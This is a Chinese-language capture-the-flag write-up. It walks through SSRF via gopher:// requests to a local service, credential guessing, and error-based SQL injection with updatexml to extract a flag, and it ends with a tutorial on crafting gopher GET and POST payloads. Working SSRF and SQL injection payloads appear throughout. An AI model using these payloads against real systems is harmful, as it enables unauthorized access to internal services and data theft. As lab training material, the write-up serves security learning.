主页如下,注意有一个你不是内部用户的提示。
主页注释有一个user.php。
测试访问本地的127.0.0.1。
输入http://61.147.171.105:51039测试一下。
应该是过滤了某些东西,还记得首页你不是内部用户的提示么,SSRF就是用于当我们无法与内网目标直接请求通信,而可以利用web服务器来当作踏板,以web服务器的身份向内网目标交互,所以叫做server-side request forgery,服务端请求伪造。
随意输入信息并使用burp suite抓包,并且构造好gopher。
注意我们要以web服务器的身份发送,所以应该是从127.0.0.1:80请求。
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a
我们以rick:morty的身份登录,并且获得了一个Cookie。“Set-Cookie: PHPSESSID=gq8k1gbh9sp822ur2b0hpjnbk4”,很显然我们此用户貌似不是内网已有用户。尝试一下admin:admin、admin:qwerty等几个常见的密码账户,不行就暴力跑一下。使用admin:admin,记得Content-Length记得改。
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2024%0d%0a%0d%0auname=admin%26passwd=admin%0d%0a
得到了一个cookie,this_is_your_cookie=YWRtaW4%3D。
这个admin是啥意思?根据题目描述大概率是sql注入点。加上Cookie: this_is_your_cookie=YWRtaW4n(admin’的base64编码)
看报错给的反馈是admin’)。
admin') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#
admin') and updatexml(1,(concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='flag'))),1)#
查看flag。
显示不完全用substr分段读。前25个字符。
admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),1,25)))),1)#
admin') and updatexml(1,(concat(0x7c,(substr((select flag from flag),26,50)))),1)#
拼接cyberpeace{73607790a96c63b371cc8015e48c9044}。我们已经完成了一次使用SSRF攻击内网的mysql服务攻击。
首先查看当前使用的curl能否支持gopher,使用curl --version。
gopher协议支持GET、POST请求。gopher协议格式是 gopher://host:port/_tcpStream。先模拟一个GET请求,gopher://127.0.0.1:4443/abcd,可以发现abcd只接收到了bcd,a不见了。
因为使用gopher协议请求会吞掉第一个字符,所以用随意一个字符让它吃。
来用gopher get请求一下。
burp suite抓包看看请求。
筛选必要的请求头。
首先转化请求为url,并不是所有内容都要转化为url。
将回车换行符(\r\n)替换为%0d%0a。
去掉换行符。
这里搞忘把问号url编码了还有末尾添上%0d%0a用来表示http包请求的结束,补上。
为啥连接失败,因为gopher默认使用70端口,但是我们开的是80端口,修改即可。
gopher POST请求。
使用burp suite抓包后转化为POST请求。
筛选请求头,经过测试保留下来的就是必须的。
首先将请求转化为url编码,不是将所有内容都转化为url编码。
遇到回车换行符(\r\n)替换为%0d%0a,post请求数据是两个换行符。
接着删掉换行。
最后添加上gopher://127.0.0.1/_就可以了。
这样我们就完成了一次gopher的POST请求。
小总结一下使用gopher请求GET和POST的注意事项: